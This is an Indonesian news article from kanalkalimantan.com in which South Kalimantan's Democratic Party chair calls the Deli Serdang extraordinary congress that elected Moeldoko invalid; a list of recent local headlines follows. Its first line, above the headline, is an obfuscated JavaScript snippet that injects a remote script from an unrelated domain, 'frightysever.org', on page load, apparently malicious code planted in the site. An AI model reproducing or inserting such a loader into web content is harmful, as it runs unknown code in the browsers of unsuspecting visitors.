(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Moeldoko Ketum Versi KLB, DPD Demokrat Kalsel: Tidak Sah, Harus Sesuai AD-ART


KANALKALIMANTAN.COM, BANJARMASIN – Kudeta partai Demokrat dari tangan AHY akhirnya terbukti, melalui Kongres Luar Biasa alias KLB abal-abal (klaim Ketum AHY tidak sah) Partai Demokrat di Sumatra Utara, memilih Moeldoko sebagai ketua umum (Ketum) partai yang didirikan SBY itu.

Melihat hasil KLB Deli Serdang itu, kepada Kanalkalimantan.com, Jumat (5/3/2021) malam, lewat sambungan telepon Ketua DPD Partai Demokrat Kalsel, Rusian menganggap KLB tidak sah.

“Kongres luar biasa diakui apabila pelaksananya adalah DPP yang terdaftar di dalam kepengurusan,” kata Rusian.

Rusian berpendapat, seharusnya kongres luar biasa setidaknya dihadiri oleh pengurus DPC dan DPD minimal 50% se Indonesia.
“Sedangkan hal ini 7% atau 34 orang yang hadir, itu pun mereka mantan pengurus,” sebut Rusian.

Suasana pembukaan Kongres Luar Biasa atau KLB Partai Demokrat di Deli Serdang, Sumatera Utara, Jumat (5/3/2021).foto: Antara via suara.com

Ia juga menyayangkan 34 orang yang hadir tersebut, bukan anggota atau pengurus Demokrat, jadi tidak sah. “Pelaksanaan itu sendiri (KLB, red) tidak ada yang memenuhi syarat daripada AD ART,” sebut Rusian.

Dikabarkan, ada 8 kader Demokrat Kalsel yang berhadiri di KLB Deli Serdang itu. Terkait itu, Rusian, akan menyerahkan keputusan maupun sanksi kepada DPP Partai Demokrat. “Demokrat Kalsel solid dukung AHY hasil kongres 2020,” tegas Rusian.

Masih menurut Ketua DPD Demokrat Kalsel ini, KLB abal-abal tersebut tidak lebih hanya sebagai seremonial kader mantan pengurus.

Kader Demokrat Kalsel diakuinya memang sempat menerima undangan KLB, namun tidak digubris. “Kalau sifatnya tidak legal, saya rasa itu tidak penting dan tentu kita tidak akan hadir,” tegasnya.

Saat ditanya tentang masa depan DPD Demokrat Kalsel melihat hasil KLB? “Semua itu akan sah apabila kepengurusan sah secara bersamaan, dan itu sudah dilalui oleh pengurus hasil kongres tahun 2020,” Rusian menutup pembicaraan.(kanalkalimantan.com/pras)

 

Reporter : Pras
Editor : Bie

 

 

 


Al Ghifari

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.